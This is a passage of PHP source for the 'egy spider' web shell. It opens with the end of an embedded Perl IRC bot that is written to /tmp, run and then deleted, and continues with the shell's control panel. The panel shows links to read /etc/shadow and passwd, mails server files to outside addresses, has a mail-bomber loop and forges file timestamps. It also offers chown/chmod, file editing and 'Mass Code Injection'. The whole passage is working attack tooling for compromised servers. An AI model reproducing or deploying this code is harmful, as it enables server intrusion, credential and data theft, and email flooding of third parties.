3763
3764# DCC
3765#########################
3766
3767package DCC;
3768
3769sub connections {
3770 my @ready = \$dcc_sel->can_read(1);
3771# return unless (@ready);
3772 foreach my \$fh (@ready) {
3773 my \$dcctipo = \$DCC{\$fh}{tipo};
3774 my \$arquivo = \$DCC{\$fh}{arquivo};
3775 my \$bytes = \$DCC{\$fh}{bytes};
3776 my \$cur_byte = \$DCC{\$fh}{curbyte};
3777 my \$nick = \$DCC{\$fh}{nick};
3778
3779
3780 my \$msg;
3781 my \$nread = sysread(\$fh, \$msg, 10240);
3782
3783 if (\$nread == 0 and \$dcctipo =~ /^(get|sendcon)$/) {
3784 \$DCC{\$fh}{status} = \"Cancelado\";
3785 \$DCC{\$fh}{ftime} = time;
3786 \$dcc_sel->remove(\$fh);
3787 \$fh->close;
3788 next;
3789 }
3790
3791 if (\$dcctipo eq \"get\") {
3792 \$DCC{\$fh}{curbyte} += length(\$msg);
3793
3794 my \$cur_byte = \$DCC{\$fh}{curbyte};
3795
3796 open(FILE, \">> \$arquivo\");
3797 print FILE \"\$msg\" if (\$cur_byte <= \$bytes);
3798 close(FILE);
3799
3800 my \$packbyte = pack(\"N\", \$cur_byte);
3801 print \$fh \"\$packbyte\";
3802
3803
3804 if (\$bytes == \$cur_byte) {
3805 \$dcc_sel->remove(\$fh);
3806 \$fh->close;
3807 \$DCC{\$fh}{status} = \"Recebido\";
3808 \$DCC{\$fh}{ftime} = time;
3809 next;
3810 }
3811 } elsif (\$dcctipo eq \"send\") {
3812 my \$send = \$fh->accept;
3813 \$send->autoflush(1);
3814 \$dcc_sel->add(\$send);
3815 \$dcc_sel->remove(\$fh);
3816 \$DCC{\$send}{tipo} = 'sendcon';
3817 \$DCC{\$send}{itime} = time;
3818 \$DCC{\$send}{nick} = \$nick;
3819 \$DCC{\$send}{bytes} = \$bytes;
3820 \$DCC{\$send}{curbyte} = 0;
3821 \$DCC{\$send}{arquivo} = \$arquivo;
3822 \$DCC{\$send}{ip} = \$send->peerhost;
3823 \$DCC{\$send}{porta} = \$send->peerport;
3824 \$DCC{\$send}{status} = \"Enviando\";
3825 #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
3826 open(FILE, \"< \$arquivo\");
3827 my \$fbytes;
3828 read(FILE, \$fbytes, 1024);
3829 print \$send \"\$fbytes\";
3830 close FILE;
3831# delete(\$DCC{\$fh});
3832} elsif (\$dcctipo eq 'sendcon') {
3833 my \$bytes_sended = unpack(\"N\", \$msg);
3834 \$DCC{\$fh}{curbyte} = \$bytes_sended;
3835 if (\$bytes_sended == \$bytes) {
3836 \$fh->close;
3837 \$dcc_sel->remove(\$fh);
3838 \$DCC{\$fh}{status} = \"Enviado\";
3839 \$DCC{\$fh}{ftime} = time;
3840 next;
3841 }
3842 open(SENDFILE, \"< \$arquivo\");
3843 seek(SENDFILE, \$bytes_sended, 0);
3844 my \$send_bytes;
3845 read(SENDFILE, \$send_bytes, 1024);
3846 print \$fh \"\$send_bytes\";
3847 close(SENDFILE);
3848 }
3849 }
3850}
3851##########################
3852
3853sub SEND {
3854 my (\$nick, \$arquivo) = @_;
3855 unless (-r \"\$arquivo\") {
3856 return(0);
3857 }
3858
3859 my \$dccark = \$arquivo;
3860 \$dccark =~ s/[.*\/](\S+)/$1/;
3861
3862 my \$meuip = $::irc_servers{\"$::IRC_cur_socket\"}{'meuip'};
3863 my \$longip = unpack(\"N\",inet_aton(\$meuip));
3864
3865 my @filestat = stat(\$arquivo);
3866 my \$size_total=\$filestat[7];
3867 if (\$size_total == 0) {
3868 return(0);
3869 }
3870
3871 my (\$porta, \$sendsock);
3872 do {
3873 \$porta = int rand(64511);
3874 \$porta += 1024;
3875 \$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>\$porta, Proto => 'tcp') and \$dcc_sel->add(\$sendsock);
3876 } until \$sendsock;
3877
3878 \$DCC{\$sendsock}{tipo} = 'send';
3879 \$DCC{\$sendsock}{nick} = \$nick;
3880 \$DCC{\$sendsock}{bytes} = \$size_total;
3881 \$DCC{\$sendsock}{arquivo} = \$arquivo;
3882
3883 &::ctcp(\"\$nick\", \"DCC SEND \$dccark \$longip \$porta \$size_total\");
3884
3885}
3886
3887sub GET {
3888 my (\$arquivo, \$dcclongip, \$dccporta, \$bytes, \$nick) = @_;
3889 return(0) if (-e \"\$arquivo\");
3890 if (open(FILE, \"> \$arquivo\")) {
3891 close FILE;
3892 } else {
3893 return(0);
3894 }
3895
3896 my \$dccip=fixaddr(\$dcclongip);
3897 return(0) if (\$dccporta < 1024 or not defined \$dccip or \$bytes < 1);
3898 my \$dccsock = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\$dccip, PeerPort=>\$dccporta, Timeout=>15) or return (0);
3899 \$dccsock->autoflush(1);
3900 \$dcc_sel->add(\$dccsock);
3901 \$DCC{\$dccsock}{tipo} = 'get';
3902 \$DCC{\$dccsock}{itime} = time;
3903 \$DCC{\$dccsock}{nick} = \$nick;
3904 \$DCC{\$dccsock}{bytes} = \$bytes;
3905 \$DCC{\$dccsock}{curbyte} = 0;
3906 \$DCC{\$dccsock}{arquivo} = \$arquivo;
3907 \$DCC{\$dccsock}{ip} = \$dccip;
3908 \$DCC{\$dccsock}{porta} = \$dccporta;
3909 \$DCC{\$dccsock}{status} = \"Recebendo\";
3910}
3911############################
3912# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
3913sub Status {
3914 my \$socket = shift;
3915 my \$sock_tipo = \$DCC{\$socket}{tipo};
3916 unless (lc(\$sock_tipo) eq \"chat\") {
3917 my \$nick = \$DCC{\$socket}{nick};
3918 my \$arquivo = \$DCC{\$socket}{arquivo};
3919 my \$itime = \$DCC{\$socket}{itime};
3920 my \$ftime = time;
3921 my \$status = \$DCC{\$socket}{status};
3922 \$ftime = \$DCC{\$socket}{ftime} if defined(\$DCC{\$socket}{ftime});
3923
3924 my \$d_time = \$ftime-\$itime;
3925
3926 my \$cur_byte = \$DCC{\$socket}{curbyte};
3927 my \$bytes_total = \$DCC{\$socket}{bytes};
3928
3929 my \$rate = 0;
3930 \$rate = (\$cur_byte/1024)/\$d_time if \$cur_byte > 0;
3931 my \$porcen = (\$cur_byte*100)/\$bytes_total;
3932
3933 my (\$r_duv, \$p_duv);
3934 if (\$rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
3935 \$r_duv = $3; \$r_duv++ if $4 >= 5;
3936 \$rate = \"$1\.$2\".\"\$r_duv\";
3937 }
3938 if (\$porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
3939 \$p_duv = $3; \$p_duv++ if $4 >= 5;
3940 \$porcen = \"$1\.$2\".\"\$p_duv\";
3941 }
3942 return(\"\$sock_tipo\",\"\$status\",\"\$nick\",\"\$arquivo\",\"\$bytes_total\", \"\$cur_byte\",\"\$d_time\", \"\$rate\", \"\$porcen\");
3943 }
3944
3945 return(0);
3946}
3947
3948# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
3949sub fixaddr {
3950 my (\$address) = @_;
3951
3952 chomp \$address; # just in case, sigh.
3953 if (\$address =~ /^\d+$/) {
3954 return inet_ntoa(pack \"N\", \$address);
3955 } elsif (\$address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
3956 return \$address;
3957 } elsif (\$address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
3958 return inet_ntoa(((gethostbyname(\$address))[4])[0]);
3959 } else {
3960 return;
3961 }
3962}
3963############################
3964";
3965$bot = "/tmp/ircs.pl";
3966$open = fopen($bot,"w");
3967fputs($open,$file);
3968fclose($open);
3969$cmd="perl $bot";
3970$cmd2="rm $bot";
3971system($cmd);
3972system($cmd2);
3973$_POST['cmd']="echo \"Now script try connect to ircserver ...\"";
3974
3975}
3976
3977
3978if(!isset($_COOKIE[$lang[$language.'_text137']])) {
3979 $ust_u='';
3980 if($unix && !$safe_mode){
3981 foreach ($userful as $item) {
3982 if(which($item)){$ust_u.=$item;}
3983 }
3984 }
3985 if (@function_exists('apache_get_modules') && @in_array('mod_perl',apache_get_modules())) {$ust_u.=", mod_perl";}
3986 if (@function_exists('apache_get_modules') && @in_array('mod_include',apache_get_modules())) {$ust_u.=", mod_include(SSI)";}
3987 if (@function_exists('pcntl_exec')) {$ust_u.=", pcntl_exec";}
3988 if (@extension_loaded('win32std')) {$ust_u.=", win32std_loaded";}
3989 if (@extension_loaded('win32service')) {$ust_u.=", win32service_loaded";}
3990 if (@extension_loaded('ffi')) {$ust_u.=", ffi_loaded";}
3991 if (@extension_loaded('perl')) {$ust_u.=", perl_loaded";}
3992 if(substr($ust_u,0,1)==",") {$ust_u[0]="";}
3993
3994 $ust_u = trim($ust_u);
3995}else {
3996 $ust_u = trim($_COOKIE[$lang[$language.'_text137']]);
3997}
3998
3999if(!isset($_COOKIE[$lang[$language.'_text138']])) {
4000 $ust_d='';
4001 if($unix && !$safe_mode){
4002 foreach ($danger as $item) {
4003 if(which($item)){$ust_d.=$item;}
4004 }
4005 }
4006 if(!$safe_mode){
4007 foreach ($danger as $item) {
4008 if(ps($item)){$ust_d.=$item;}
4009 }
4010 }
4011 if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {$ust_d.=", mod_security";}
4012 if(substr($ust_d,0,1)==",") {$ust_d[0]="";}
4013
4014 $ust_d = trim($ust_d);
4015}else {
4016 $ust_d = trim($_COOKIE[$lang[$language.'_text138']]);
4017}
4018
4019if(!isset($_COOKIE[$lang[$language.'_text142']])) {
4020
4021 $select_downloaders='<select size="1" name=with>';
4022 if((!@function_exists('ini_get')) || (@ini_get('allow_url_fopen') && @function_exists('file'))){$select_downloaders .= "<option value=\"fopen\">fopen</option>";$downloader="fopen";}
4023 if($unix && !$safe_mode){
4024 foreach ($downloaders as $item) {
4025 if(which($item)){$select_downloaders .= '<option value="'.$item.'">'.$item.'</option>';$downloader.=", $item";}
4026 }
4027 }
4028 $select_downloaders .= '</select>';
4029 if(substr($downloader,0,1)==",") {$downloader[0]="";}
4030
4031 $downloader=trim($downloader);
4032
4033}
4034
4035
4036echo $head;
4037echo '</head>';
4038
4039echo '<<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#dadada><tr><td bgcolor=#000000 width=120><font face=Comic Sans MS size=1>'.ws(2).'<DIV dir=ltr align=center><p><font style="font-weight: 500" face="Webdings" color="#800000" size="7">!</font></p>'.ws(2).'<DIV dir=ltr align=center><SPAN
4040style="FILTER: blur(add=1,direction=10,strength=25); HEIGHT: 25px">
4041<SPAN
4042style="FONT-SIZE: 15pt; COLOR: white; FONT-FAMILY: Impact">egy spider</P></SPAN></DIV></font></b></font></td><td bgcolor=#000000><font face=tahoma size=1>'.
4043
4044'</center></font>'.$fe.'</td>'.'<td bgcolor=#333333><font face=#FFFFFF size=-2>';
4045echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font color=blue>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]";
4046echo " X_FORWARDED_FOR:"; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){echo "[<font color=red>".$_SERVER['HTTP_X_FORWARDED_FOR']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";}
4047echo " CLIENT_IP: ";if(isset($_SERVER['HTTP_CLIENT_IP'])){echo "[<font color=red>".$_SERVER['HTTP_CLIENT_IP']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";}
4048echo " Server IP: [<font color=blue>".gethostbyname($_SERVER["HTTP_HOST"])."</font>]";
4049
4050echo "<br>";
4051
4052echo ws(2)."PHP Version: <b>".@phpversion()."</b>";
4053$curl_on = @function_exists('curl_version');
4054echo ws(2);
4055echo "cURL: <b>".(($curl_on)?("<font color=red>ON</font>"):("<font color=green>OFF</font>"));
4056echo "</b>".ws(2);
4057echo "MySQL: <b>";
4058$mysql_on = @function_exists('mysql_connect');
4059if($mysql_on){
4060echo "<font color=red>ON</font>"; } else { echo "<font color=green>OFF</font>"; }
4061echo "</b>".ws(2);
4062echo "MSSQL: <b>";
4063$mssql_on = @function_exists('mssql_connect');
4064if($mssql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4065echo "</b>".ws(2);
4066echo "PostgreSQL: <b>";
4067$pg_on = @function_exists('pg_connect');
4068if($pg_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4069echo "</b>".ws(2);
4070echo "Oracle: <b>";
4071$ora_on = @function_exists('ocilogon');
4072if($ora_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4073echo "</b>".ws(2);
4074echo "MySQLi: <b>";
4075$mysqli_on = @function_exists('mysqli_connect');
4076if($mysqli_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4077echo "</b>".ws(2);
4078echo "MSQL: <b>";
4079$msql_on = @function_exists('msql_connect');
4080if($msql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4081echo "</b>".ws(2);
4082echo "SQLite: <b>";
4083$sqlite_on = @function_exists('sqlite_open');
4084if($sqlite_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4085echo "</b><br>".ws(2);
4086
4087echo "Safe_Mode: <b>";
4088echo (($safe_mode)?("<font color=red>ON</font>"):("<font color=green>OFF</font>"));
4089echo "</b>".ws(2);
4090echo "Open_Basedir: <b>";
4091if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=red>$df</font></b>";};}
4092else {echo "<font color=green>NONE</font></b>";}
4093echo ws(2)."Safe_Exec_Dir: <b>";
4094if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
4095else {echo "<font color=red>ini_get disable!</font></b>";}
4096echo ws(2)."Safe_Gid: <b>";
4097if(@function_exists('ini_get')) { if (@ini_get('safe_mode_gid')) {echo "<font color=green>ON</font></b>";}else {echo "<font color=red>OFF</font></b>";};}
4098else {echo "<font color=red>ini_get disable!</font></b>";}
4099echo ws(2)."Safe_Include_Dir: <b>";
4100if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
4101else {echo "<font color=red>ini_get disable!</font></b>";}
4102echo ws(2)."Sql.safe_mode: <b>";
4103if(@function_exists('ini_get')) { if (@ini_get('sql.safe_mode')) {echo "<font color=red>ON</font></b>";}else {echo "<font color=green>OFF</font></b>";};}
4104else {echo "<font color=red>ini_get disable!</font></b>";}
4105
4106echo "<br>".ws(2);
4107echo "Disable Functions : <b>";$df='ini_get disable!';
4108if((@function_exists('ini_get')) && (''==($df=@ini_get('disable_functions')))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
4109
4110if(@function_exists('diskfreespace')){$free = @diskfreespace($dir);}
4111elseif(@function_exists('disk_free_space')){$free = @disk_free_space($dir);}else{$free = 'Unknown';}
4112if (!$free) {$free = 0;}
4113$all = @disk_total_space($dir);
4114if (!$all) {$all = 0;}
4115echo "<br>".ws(2)."Free Space : <b>".view_size($free)."</b> Total Space: <b>".view_size($all)."</b>";
4116
4117
4118if($ust_u){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".$ust_u."</font>";};
4119
4120if($ust_d){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>".$ust_d."</font>";};
4121
4122if($downloader){echo "<br>".ws(2).$lang[$language.'_text142'].": <font color=blue>".$downloader."</font>";};
4123
4124
4125echo "<br>".ws(2)."</b>";
4126echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?' title=\"".$lang[$language.'_text160']."\"><b>Home</b></a> ".$rb;
4127echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?egy' title=\"".$lang[$language.'_text159']."\"><b>About EgY SpIdEr</b></a> ".$rb;
4128echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?news' title=\"".$lang[$language.'_text152']."\"><b>News</b></a> ".$rb;
4129echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?logout=1' title=\"".$lang[$language.'_text153']."\"><b>Logout</b></a> ".$rb;
4130echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&act=feedback' title=\"".$lang[$language.'_text180']."\"><b>Feedback & Contact Me </b></a> ".$rb;
4131echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&dlink=qindx' title=\"".$lang[$language.'_text154']."\"><b>Quick index </b></a> ".$rb;
4132echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&act=massbrowsersploit' title=\"".$lang[$language.'_text155']."\"><b>Mass Code Injection</b></a> ".$rb;
4133echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&dlink=showsrc' title=\"".$lang[$language.'_text156']."\"><b>File source </b></a> ".$rb;
4134echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&dlink=zone' title=\"".$lang[$language.'_text157']."\"><b>Zone-h</b></a> ".$rb;
4135echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&act=encoder' title=\"".$lang[$language.'_text158']."\"><b>Hash Tools</b></a> ".$rb;
4136echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?1' title=\"".$lang[$language.'_text46']."\"><b>PhpInfo</b></a> ".$rb;
4137echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?2' title=\"".$lang[$language.'_text47']."\"><b>Php.Ini</b></a> ".$rb;
4138echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?3' title=\"".$lang[$language.'_text50']."\"><b>Cpu</b></a> ".$rb;
4139if(!$unix) {
4140 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?5' title=\"".$lang[$language.'_text50']."\"><b>SystemInfo</b></a> ".$rb;
4141}else{
4142 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?6' title=\"View syslog.conf\"><b>Syslog</b></a> ".$rb;
4143 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?7' title=\"View resolv\"><b>Resolv</b></a> ".$rb;
4144 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?8' title=\"View hosts\"><b>Hosts</b></a> ".$rb;
4145 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?9' title=\"View shadow\"><b>Shadow</b></a> ".$rb;
4146 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?10' title=\"".$lang[$language.'_text95']."\"><b>Passwd</b></a> ".$rb;
4147}
4148echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?11' title=\"".$lang[$language.'_text48']."\"><b>Tmp</b></a> ".$rb;
4149echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?12' title=\"".$lang[$language.'_text49']."\"><b>Delete</b></a> ".$rb;
4150
4151if($unix && !$safe_mode)
4152{
4153 echo "<br>".ws(2)."</b>";
4154 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?13' title=\"View procinfo\"><b>Procinfo</b></a> ".$rb;
4155 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?14' title=\"View proc version\"><b>Version</b></a> ".$rb;
4156 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?15' title=\"View mem free\"><b>Free</b></a> ".$rb;
4157 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?16' title=\"View dmesg\"><b>Dmesg</b></a> ".$rb;
4158 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?17' title=\"View vmstat\"><b>Vmstat</b></a> ".$rb;
4159 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?18' title=\"View lspci\"><b>lspci</b></a> ".$rb;
4160 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?19' title=\"View lsdev\"><b>lsdev</b></a> ".$rb;
4161 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?20' title=\"View interrupts\"><b>Interrupts</b></a> ".$rb;
4162 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?21' title=\"View realise1\"><b>Realise1</b></a> ".$rb;
4163 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?22' title=\"View realise2\"><b>Realise2</b></a> ".$rb;
4164 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?23' title=\"View lsattr -va\"><b>lsattr</b></a> ".$rb;
4165
4166 echo "<br>".ws(2)."</b>";
4167 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?24' title=\"View w\"><b>W</b></a> ".$rb;
4168 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?25' title=\"View who\"><b>Who</b></a> ".$rb;
4169 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?26' title=\"View uptime\"><b>Uptime</b></a> ".$rb;
4170 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?27' title=\"View last -n 10\"><b>Last</b></a> ".$rb;
4171 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?28' title=\"View ps -aux\"><b>Ps Aux</b></a> ".$rb;
4172 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?29' title=\"View service\"><b>Service</b></a> ".$rb;
4173 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?30' title=\"View ifconfig\"><b>Ifconfig</b></a> ".$rb;
4174 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?31' title=\"View netstat -a\"><b>Netstat</b></a> ".$rb;
4175 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?32' title=\"View fstab\"><b>Fstab</b></a> ".$rb;
4176 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?33' title=\"View fdisk -l\"><b>Fdisk</b></a> ".$rb;
4177 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?34' title=\"View df -h\"><b>df -h</b></a> ".$rb;
4178}
4179
4180echo '</font></td></tr><table>
4181<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
4182<tr><td align=right width=100>';
4183echo $font;
4184
4185if($unix){
4186echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
4187echo "</td><td>";
4188echo "<font face=Verdana size=-2 color=red><b>";
4189echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
4190echo ws(3).ex('echo $OSTYPE')."<br>";
4191echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
4192if(!empty($id)) { echo ws(3).$id."<br>"; }
4193else if(@function_exists('posix_geteuid') && @function_exists('posix_getegid') && @function_exists('posix_getgrgid') && @function_exists('posix_getpwuid'))
4194 {
4195 $euserinfo = @posix_getpwuid(@posix_geteuid());
4196 $egroupinfo = @posix_getgrgid(@posix_getegid());
4197 echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
4198 }
4199else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
4200echo ws(3).$dir;
4201echo ws(3).'( '.perms(@fileperms($dir)).' )';
4202echo "</b></font>";
4203}
4204else
4205{
4206echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
4207echo "</td><td>";
4208echo "<font face=Verdana size=-2 color=red><b>";
4209echo ws(3).@substr(@php_uname(),0,120)."<br>";
4210echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
4211echo ws(3).@getenv("USERNAME")."<br>";
4212echo ws(3).$dir;
4213echo "<br></font>";
4214}
4215echo "</font>";
4216echo "</td></tr></table>";
4217
4218
4219if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
4220 {
4221 $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
4222 err(6+$res);
4223 $_POST['cmd']="";
4224 }
4225if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
4226 {
4227 if($file=moreread($_POST['loc_file'])){ $filedump = $file; }
4228 else if ($file=readzlib($_POST['loc_file'])) { $filedump = $file; } else { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
4229 if(!empty($_POST['cmd']))
4230 {
4231 $filename = @basename($_POST['loc_file']);
4232 $content_encoding=$mime_type='';
4233 compress($filename,$filedump,$_POST['compress']);
4234 $attach = array(
4235 "name"=>$filename,
4236 "type"=>$mime_type,
4237 "content"=>$filedump
4238 );
4239 if(empty($_POST['subj'])) { $_POST['subj'] = 'file from egy spider shell'; }
4240 if(empty($_POST['from'])) { $_POST['from'] = 'egy_spider@hotmail.com'; }
4241 $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
4242 err(6+$res);
4243 $_POST['cmd']="";
4244 }
4245 }
4246if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_bomber" && !empty($_POST['mail_flood']) && !empty($_POST['mail_size']))
4247 {
4248 for($h=1;$h<=$_POST['mail_flood'];$h++){
4249 $res = mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ", 1024*$_POST['mail_size']),"From: ".$_POST['from']."\r\n");
4250 }
4251 err(6+$res);
4252 $_POST['cmd']="";
4253 }
4254if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
4255{
4256$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
4257}
4258if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
4259 {
4260 switch($_POST['what'])
4261 {
4262 case 'own':
4263 @chown($_POST['param1'],$_POST['param2']);
4264 break;
4265 case 'grp':
4266 @chgrp($_POST['param1'],$_POST['param2']);
4267 break;
4268 case 'mod':
4269 @chmod($_POST['param1'],intval($_POST['param2'], 8));
4270 break;
4271 }
4272 $_POST['cmd']="";
4273 }
4274if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
4275 {
4276 switch($_POST['what'])
4277 {
4278 case 'file':
4279 if($_POST['action'] == "create")
4280 {
4281 if(@file_exists($_POST['mk_name']) || !morewrite($_POST['mk_name'],'your text here')) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
4282 else {
4283 $_POST['e_name'] = $_POST['mk_name'];
4284 $_POST['cmd']="edit_file";
4285 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
4286 }
4287 }
4288 else if($_POST['action'] == "delete")
4289 {
4290 if(@unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
4291 $_POST['cmd']="";
4292 }
4293 break;
4294 case 'dir':
4295 if($_POST['action'] == "create"){
4296 if(@mkdir($_POST['mk_name']))
4297 {
4298 $_POST['cmd']="";
4299 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
4300 }
4301 else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
4302 }
4303 else if($_POST['action'] == "delete"){
4304 if(@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
4305 $_POST['cmd']="";
4306 }
4307 break;
4308 }
4309 }
4310
4311
4312if(!empty($_POST['cmd']) && $_POST['cmd']=="touch")
4313{
4314if(!$_POST['file_name_r'])
4315 {
4316 $datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds";
4317 $datar = @strtotime($datar);
4318 @touch($_POST['file_name'],$datar,$datar);}
4319else{
4320 @touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['file_name_r']));
4321}
4322$_POST['cmd']="";
4323}
4324
4325
4326if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
4327 {
4328 if(@is_dir($_POST['e_name'])){ err(1,$_POST['e_name']); $_POST['cmd']=""; }
4329 elseif($file=moreread($_POST['e_name'])) { $filedump = $file; if(!@is_writable($_POST['e_name'])) { $only_read = 1; }; }
4330 elseif($file=readzlib($_POST['e_name'])) { $filedump = $file; $only_read = 1; }
4331 elseif(@file_exists($_POST['e_name'])) {$filedump = 'NONE'; if(!@is_writable($_POST['e_name'])) { $only_read = 1; };}
4332 else { err(1,$_POST['e_name']); $_POST['cmd']=""; }
4333 if(!empty($_POST['cmd']))
4334 {
4335 echo $table_up3;
4336 echo $font;
4337 echo "<form name=save_file method=post>";
4338 echo ws(3)."<b>".$_POST['e_name']."</b>";
4339 echo "<div align=center><textarea name=e_text cols=121 rows=24>";
4340 echo @htmlspecialchars($filedump);
4341 echo "</textarea>";
4342 echo "<input type=hidden name=e_name value='".$_POST['e_name']."'>";
4343 echo "<input type=hidden name=dir value='".$dir."'>";
